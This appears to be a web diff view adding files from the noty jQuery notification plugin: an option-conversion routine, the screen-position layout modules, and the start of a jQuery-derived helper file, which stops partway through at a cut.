432 |
+
if (old_to_new[key]) {
|
433 |
+
using_old++;
|
434 |
+
var _new = old_to_new[key].split('.');
|
435 |
+
|
436 |
+
if (!options[_new[0]]) options[_new[0]] = {};
|
437 |
+
|
438 |
+
options[_new[0]][_new[1]] = (value) ? value : function () {
|
439 |
+
};
|
440 |
+
delete options[key];
|
441 |
+
}
|
442 |
+
});
|
443 |
+
|
444 |
+
if (!options.closeWith) {
|
445 |
+
options.closeWith = jQuery.noty.defaults.closeWith;
|
446 |
+
}
|
447 |
+
|
448 |
+
if (options.hasOwnProperty('closeButton')) {
|
449 |
+
using_old++;
|
450 |
+
if (options.closeButton) options.closeWith.push('button');
|
451 |
+
delete options.closeButton;
|
452 |
+
}
|
453 |
+
|
454 |
+
if (options.hasOwnProperty('closeOnSelfClick')) {
|
455 |
+
using_old++;
|
456 |
+
if (options.closeOnSelfClick) options.closeWith.push('click');
|
457 |
+
delete options.closeOnSelfClick;
|
458 |
+
}
|
459 |
+
|
460 |
+
if (options.hasOwnProperty('closeOnSelfOver')) {
|
461 |
+
using_old++;
|
462 |
+
if (options.closeOnSelfOver) options.closeWith.push('hover');
|
463 |
+
delete options.closeOnSelfOver;
|
464 |
+
}
|
465 |
+
|
466 |
+
if (options.hasOwnProperty('custom')) {
|
467 |
+
using_old++;
|
468 |
+
if (options.custom.container != 'null') options.custom = options.custom.container;
|
469 |
+
}
|
470 |
+
|
471 |
+
if (options.hasOwnProperty('cssPrefix')) {
|
472 |
+
using_old++;
|
473 |
+
delete options.cssPrefix;
|
474 |
+
}
|
475 |
+
|
476 |
+
if (options.theme == 'noty_theme_default') {
|
477 |
+
using_old++;
|
478 |
+
options.theme = 'defaultTheme';
|
479 |
+
}
|
480 |
+
|
481 |
+
if (!options.hasOwnProperty('dismissQueue')) {
|
482 |
+
if (options.layout == 'topLeft'
|
483 |
+
|| options.layout == 'topRight'
|
484 |
+
|| options.layout == 'bottomLeft'
|
485 |
+
|| options.layout == 'bottomRight') {
|
486 |
+
options.dismissQueue = true;
|
487 |
+
} else {
|
488 |
+
options.dismissQueue = false;
|
489 |
+
}
|
490 |
+
}
|
491 |
+
|
492 |
+
if (options.buttons) {
|
493 |
+
jQuery.each(options.buttons, function (i, button) {
|
494 |
+
if (button.click) {
|
495 |
+
using_old++;
|
496 |
+
button.onClick = button.click;
|
497 |
+
delete button.click;
|
498 |
+
}
|
499 |
+
if (button.type) {
|
500 |
+
using_old++;
|
501 |
+
button.addClass = button.type;
|
502 |
+
delete button.type;
|
503 |
+
}
|
504 |
+
});
|
505 |
+
}
|
506 |
+
|
507 |
+
if (using_old) {
|
508 |
+
if (typeof console !== "undefined" && console.warn) {
|
509 |
+
console.warn('You are using noty v2 with v1.x.x options. @deprecated until v2.2.0 - Please update your options.');
|
510 |
+
}
|
511 |
+
}
|
512 |
+
|
513 |
+
// console.log(options);
|
514 |
+
// End of the BC
|
515 |
+
|
516 |
+
return jQuery.notyRenderer.init(options);
|
517 |
+
}
|
settings/types/js/noty/layouts/bottom.js
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.bottom = {
|
4 |
+
name: 'bottom',
|
5 |
+
options: {},
|
6 |
+
container: {
|
7 |
+
object: '<ul id="noty_bottom_layout_container" />',
|
8 |
+
selector: 'ul#noty_bottom_layout_container',
|
9 |
+
style: function() {
|
10 |
+
$(this).css({
|
11 |
+
bottom: 0,
|
12 |
+
left: '5%',
|
13 |
+
position: 'fixed',
|
14 |
+
width: '90%',
|
15 |
+
height: 'auto',
|
16 |
+
margin: 0,
|
17 |
+
padding: 0,
|
18 |
+
listStyleType: 'none',
|
19 |
+
zIndex: 9999999
|
20 |
+
});
|
21 |
+
}
|
22 |
+
},
|
23 |
+
parent: {
|
24 |
+
object: '<li />',
|
25 |
+
selector: 'li',
|
26 |
+
css: {}
|
27 |
+
},
|
28 |
+
css: {
|
29 |
+
display: 'none'
|
30 |
+
},
|
31 |
+
addClass: ''
|
32 |
+
};
|
33 |
+
|
34 |
+
})(jQuery);
|
settings/types/js/noty/layouts/bottomCenter.js
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.bottomCenter = {
|
4 |
+
name: 'bottomCenter',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_bottomCenter_layout_container" />',
|
10 |
+
selector: 'ul#noty_bottomCenter_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
bottom: 20,
|
14 |
+
left: 0,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
$(this).css({
|
25 |
+
left: ($(window).width() - $(this).outerWidth()) / 2 + 'px'
|
26 |
+
});
|
27 |
+
}
|
28 |
+
},
|
29 |
+
parent: {
|
30 |
+
object: '<li />',
|
31 |
+
selector: 'li',
|
32 |
+
css: {}
|
33 |
+
},
|
34 |
+
css: {
|
35 |
+
display: 'none',
|
36 |
+
width: '310px'
|
37 |
+
},
|
38 |
+
addClass: ''
|
39 |
+
};
|
40 |
+
|
41 |
+
})(jQuery);
|
settings/types/js/noty/layouts/bottomLeft.js
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.bottomLeft = {
|
4 |
+
name: 'bottomLeft',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_bottomLeft_layout_container" />',
|
10 |
+
selector: 'ul#noty_bottomLeft_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
bottom: 20,
|
14 |
+
left: 20,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
if (window.innerWidth < 600) {
|
25 |
+
$(this).css({
|
26 |
+
left: 5
|
27 |
+
});
|
28 |
+
}
|
29 |
+
}
|
30 |
+
},
|
31 |
+
parent: {
|
32 |
+
object: '<li />',
|
33 |
+
selector: 'li',
|
34 |
+
css: {}
|
35 |
+
},
|
36 |
+
css: {
|
37 |
+
display: 'none',
|
38 |
+
width: '310px'
|
39 |
+
},
|
40 |
+
addClass: ''
|
41 |
+
};
|
42 |
+
|
43 |
+
})(jQuery);
|
settings/types/js/noty/layouts/bottomRight.js
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.bottomRight = {
|
4 |
+
name: 'bottomRight',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_bottomRight_layout_container" />',
|
10 |
+
selector: 'ul#noty_bottomRight_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
bottom: 20,
|
14 |
+
right: 20,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
if (window.innerWidth < 600) {
|
25 |
+
$(this).css({
|
26 |
+
right: 5
|
27 |
+
});
|
28 |
+
}
|
29 |
+
}
|
30 |
+
},
|
31 |
+
parent: {
|
32 |
+
object: '<li />',
|
33 |
+
selector: 'li',
|
34 |
+
css: {}
|
35 |
+
},
|
36 |
+
css: {
|
37 |
+
display: 'none',
|
38 |
+
width: '310px'
|
39 |
+
},
|
40 |
+
addClass: ''
|
41 |
+
};
|
42 |
+
|
43 |
+
})(jQuery);
|
settings/types/js/noty/layouts/center.js
ADDED
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.center = {
|
4 |
+
name: 'center',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_center_layout_container" />',
|
10 |
+
selector: 'ul#noty_center_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
position: 'fixed',
|
14 |
+
width: '310px',
|
15 |
+
height: 'auto',
|
16 |
+
margin: 0,
|
17 |
+
padding: 0,
|
18 |
+
listStyleType: 'none',
|
19 |
+
zIndex: 10000000
|
20 |
+
});
|
21 |
+
|
22 |
+
// getting hidden height
|
23 |
+
var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
|
24 |
+
$("body").append(dupe);
|
25 |
+
dupe.find('.i-am-closing-now').remove();
|
26 |
+
dupe.find('li').css('display', 'block');
|
27 |
+
var actual_height = dupe.height();
|
28 |
+
dupe.remove();
|
29 |
+
|
30 |
+
if ($(this).hasClass('i-am-new')) {
|
31 |
+
$(this).css({
|
32 |
+
left: ($(window).width() - $(this).outerWidth()) / 2 + 'px',
|
33 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
34 |
+
});
|
35 |
+
} else {
|
36 |
+
$(this).animate({
|
37 |
+
left: ($(window).width() - $(this).outerWidth()) / 2 + 'px',
|
38 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
39 |
+
}, 500);
|
40 |
+
}
|
41 |
+
|
42 |
+
}
|
43 |
+
},
|
44 |
+
parent: {
|
45 |
+
object: '<li />',
|
46 |
+
selector: 'li',
|
47 |
+
css: {}
|
48 |
+
},
|
49 |
+
css: {
|
50 |
+
display: 'none',
|
51 |
+
width: '310px'
|
52 |
+
},
|
53 |
+
addClass: ''
|
54 |
+
};
|
55 |
+
|
56 |
+
})(jQuery);
|
settings/types/js/noty/layouts/centerLeft.js
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.centerLeft = {
|
4 |
+
name: 'centerLeft',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_centerLeft_layout_container" />',
|
10 |
+
selector: 'ul#noty_centerLeft_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
left: 20,
|
14 |
+
position: 'fixed',
|
15 |
+
width: '310px',
|
16 |
+
height: 'auto',
|
17 |
+
margin: 0,
|
18 |
+
padding: 0,
|
19 |
+
listStyleType: 'none',
|
20 |
+
zIndex: 10000000
|
21 |
+
});
|
22 |
+
|
23 |
+
// getting hidden height
|
24 |
+
var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
|
25 |
+
$("body").append(dupe);
|
26 |
+
dupe.find('.i-am-closing-now').remove();
|
27 |
+
dupe.find('li').css('display', 'block');
|
28 |
+
var actual_height = dupe.height();
|
29 |
+
dupe.remove();
|
30 |
+
|
31 |
+
if ($(this).hasClass('i-am-new')) {
|
32 |
+
$(this).css({
|
33 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
34 |
+
});
|
35 |
+
} else {
|
36 |
+
$(this).animate({
|
37 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
38 |
+
}, 500);
|
39 |
+
}
|
40 |
+
|
41 |
+
if (window.innerWidth < 600) {
|
42 |
+
$(this).css({
|
43 |
+
left: 5
|
44 |
+
});
|
45 |
+
}
|
46 |
+
|
47 |
+
}
|
48 |
+
},
|
49 |
+
parent: {
|
50 |
+
object: '<li />',
|
51 |
+
selector: 'li',
|
52 |
+
css: {}
|
53 |
+
},
|
54 |
+
css: {
|
55 |
+
display: 'none',
|
56 |
+
width: '310px'
|
57 |
+
},
|
58 |
+
addClass: ''
|
59 |
+
};
|
60 |
+
|
61 |
+
})(jQuery);
|
settings/types/js/noty/layouts/centerRight.js
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.centerRight = {
|
4 |
+
name: 'centerRight',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_centerRight_layout_container" />',
|
10 |
+
selector: 'ul#noty_centerRight_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
right: 20,
|
14 |
+
position: 'fixed',
|
15 |
+
width: '310px',
|
16 |
+
height: 'auto',
|
17 |
+
margin: 0,
|
18 |
+
padding: 0,
|
19 |
+
listStyleType: 'none',
|
20 |
+
zIndex: 10000000
|
21 |
+
});
|
22 |
+
|
23 |
+
// getting hidden height
|
24 |
+
var dupe = $(this).clone().css({visibility:"hidden", display:"block", position:"absolute", top: 0, left: 0}).attr('id', 'dupe');
|
25 |
+
$("body").append(dupe);
|
26 |
+
dupe.find('.i-am-closing-now').remove();
|
27 |
+
dupe.find('li').css('display', 'block');
|
28 |
+
var actual_height = dupe.height();
|
29 |
+
dupe.remove();
|
30 |
+
|
31 |
+
if ($(this).hasClass('i-am-new')) {
|
32 |
+
$(this).css({
|
33 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
34 |
+
});
|
35 |
+
} else {
|
36 |
+
$(this).animate({
|
37 |
+
top: ($(window).height() - actual_height) / 2 + 'px'
|
38 |
+
}, 500);
|
39 |
+
}
|
40 |
+
|
41 |
+
if (window.innerWidth < 600) {
|
42 |
+
$(this).css({
|
43 |
+
right: 5
|
44 |
+
});
|
45 |
+
}
|
46 |
+
|
47 |
+
}
|
48 |
+
},
|
49 |
+
parent: {
|
50 |
+
object: '<li />',
|
51 |
+
selector: 'li',
|
52 |
+
css: {}
|
53 |
+
},
|
54 |
+
css: {
|
55 |
+
display: 'none',
|
56 |
+
width: '310px'
|
57 |
+
},
|
58 |
+
addClass: ''
|
59 |
+
};
|
60 |
+
|
61 |
+
})(jQuery);
|
settings/types/js/noty/layouts/inline.js
ADDED
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.inline = {
|
4 |
+
name: 'inline',
|
5 |
+
options: {},
|
6 |
+
container: {
|
7 |
+
object: '<ul id="noty_inline_layout_container" />',
|
8 |
+
selector: 'ul#noty_inline_layout_container',
|
9 |
+
style: function() {
|
10 |
+
$(this).css({
|
11 |
+
width: '100%',
|
12 |
+
height: 'auto',
|
13 |
+
margin: 0,
|
14 |
+
padding: 0,
|
15 |
+
listStyleType: 'none',
|
16 |
+
zIndex: 9999999
|
17 |
+
});
|
18 |
+
}
|
19 |
+
},
|
20 |
+
parent: {
|
21 |
+
object: '<li />',
|
22 |
+
selector: 'li',
|
23 |
+
css: {}
|
24 |
+
},
|
25 |
+
css: {
|
26 |
+
display: 'none'
|
27 |
+
},
|
28 |
+
addClass: ''
|
29 |
+
};
|
30 |
+
|
31 |
+
})(jQuery);
|
settings/types/js/noty/layouts/top.js
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.top = {
|
4 |
+
name: 'top',
|
5 |
+
options: {},
|
6 |
+
container: {
|
7 |
+
object: '<ul id="noty_top_layout_container" />',
|
8 |
+
selector: 'ul#noty_top_layout_container',
|
9 |
+
style: function() {
|
10 |
+
$(this).css({
|
11 |
+
top: 0,
|
12 |
+
left: '5%',
|
13 |
+
position: 'fixed',
|
14 |
+
width: '90%',
|
15 |
+
height: 'auto',
|
16 |
+
margin: 0,
|
17 |
+
padding: 0,
|
18 |
+
listStyleType: 'none',
|
19 |
+
zIndex: 9999999
|
20 |
+
});
|
21 |
+
}
|
22 |
+
},
|
23 |
+
parent: {
|
24 |
+
object: '<li />',
|
25 |
+
selector: 'li',
|
26 |
+
css: {}
|
27 |
+
},
|
28 |
+
css: {
|
29 |
+
display: 'none'
|
30 |
+
},
|
31 |
+
addClass: ''
|
32 |
+
};
|
33 |
+
|
34 |
+
})(jQuery);
|
settings/types/js/noty/layouts/topCenter.js
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.topCenter = {
|
4 |
+
name: 'topCenter',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_topCenter_layout_container" />',
|
10 |
+
selector: 'ul#noty_topCenter_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
top: 20,
|
14 |
+
left: 0,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
$(this).css({
|
25 |
+
left: ($(window).width() - $(this).outerWidth()) / 2 + 'px'
|
26 |
+
});
|
27 |
+
}
|
28 |
+
},
|
29 |
+
parent: {
|
30 |
+
object: '<li />',
|
31 |
+
selector: 'li',
|
32 |
+
css: {}
|
33 |
+
},
|
34 |
+
css: {
|
35 |
+
display: 'none',
|
36 |
+
width: '310px'
|
37 |
+
},
|
38 |
+
addClass: ''
|
39 |
+
};
|
40 |
+
|
41 |
+
})(jQuery);
|
settings/types/js/noty/layouts/topLeft.js
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.topLeft = {
|
4 |
+
name: 'topLeft',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_topLeft_layout_container" />',
|
10 |
+
selector: 'ul#noty_topLeft_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
top: 20,
|
14 |
+
left: 20,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
if (window.innerWidth < 600) {
|
25 |
+
$(this).css({
|
26 |
+
left: 5
|
27 |
+
});
|
28 |
+
}
|
29 |
+
}
|
30 |
+
},
|
31 |
+
parent: {
|
32 |
+
object: '<li />',
|
33 |
+
selector: 'li',
|
34 |
+
css: {}
|
35 |
+
},
|
36 |
+
css: {
|
37 |
+
display: 'none',
|
38 |
+
width: '310px'
|
39 |
+
},
|
40 |
+
addClass: ''
|
41 |
+
};
|
42 |
+
|
43 |
+
})(jQuery);
|
settings/types/js/noty/layouts/topRight.js
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.layouts.topRight = {
|
4 |
+
name: 'topRight',
|
5 |
+
options: { // overrides options
|
6 |
+
|
7 |
+
},
|
8 |
+
container: {
|
9 |
+
object: '<ul id="noty_topRight_layout_container" />',
|
10 |
+
selector: 'ul#noty_topRight_layout_container',
|
11 |
+
style: function() {
|
12 |
+
$(this).css({
|
13 |
+
top: 20,
|
14 |
+
right: 20,
|
15 |
+
position: 'fixed',
|
16 |
+
width: '310px',
|
17 |
+
height: 'auto',
|
18 |
+
margin: 0,
|
19 |
+
padding: 0,
|
20 |
+
listStyleType: 'none',
|
21 |
+
zIndex: 10000000
|
22 |
+
});
|
23 |
+
|
24 |
+
if (window.innerWidth < 600) {
|
25 |
+
$(this).css({
|
26 |
+
right: 5
|
27 |
+
});
|
28 |
+
}
|
29 |
+
}
|
30 |
+
},
|
31 |
+
parent: {
|
32 |
+
object: '<li />',
|
33 |
+
selector: 'li',
|
34 |
+
css: {}
|
35 |
+
},
|
36 |
+
css: {
|
37 |
+
display: 'none',
|
38 |
+
width: '310px'
|
39 |
+
},
|
40 |
+
addClass: ''
|
41 |
+
};
|
42 |
+
|
43 |
+
})(jQuery);
|
settings/types/js/noty/promise.js
ADDED
@@ -0,0 +1,432 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* Noty Helpers Javascript From JQuery Javascript Library
|
3 |
+
*
|
4 |
+
* Ported by Maksim Pecherskiy. Original Licensing:
|
5 |
+
*
|
6 |
+
* http://jquery.com/
|
7 |
+
*
|
8 |
+
* Copyright 2011, John Resig
|
9 |
+
* Dual licensed under the MIT or GPL Version 2 licenses.
|
10 |
+
* http://jquery.org/license
|
11 |
+
*
|
12 |
+
* Includes Sizzle.js
|
13 |
+
* http://sizzlejs.com/
|
14 |
+
* Copyright 2011, The Dojo Foundation
|
15 |
+
* Released under the MIT, BSD, and GPL Licenses.
|
16 |
+
*
|
17 |
+
* Date: Mon Nov 21 21:11:03 2011 -0500
|
18 |
+
*/
|
19 |
+
|
20 |
+
|
21 |
+
(function(){
|
22 |
+
|
23 |
+
// String to Object flags format cache
|
24 |
+
var flagsCache = {};
|
25 |
+
|
26 |
+
// Convert String-formatted flags into Object-formatted ones and store in cache
|
27 |
+
function createFlags( flags ) {
|
28 |
+
var object = flagsCache[ flags ] = {},
|
29 |
+
i, length;
|
30 |
+
flags = flags.split( /\s+/ );
|
31 |
+
for ( i = 0, length = flags.length; i < length; i++ ) {
|
32 |
+
object[ flags[i] ] = true;
|
33 |
+
}
|
34 |
+
return object;
|
35 |
+
}
|
36 |
+
|
37 |
+
jQuery.extend({
|
38 |
+
|
39 |
+
_mark: function( elem, type ) {
|
40 |
+
if ( elem ) {
|
41 |
+
type = (type || "fx") + "mark";
|
42 |
+
jQuery.data( elem, type, (jQuery.data(elem,type,undefined,true) || 0) + 1, true );
|
43 |
+
}
|
44 |
+
},
|
45 |
+
|
46 |
+
_unmark: function( force, elem, type ) {
|
47 |
+
if ( force !== true ) {
|
48 |
+
type = elem;
|
49 |
+
elem = force;
|
50 |
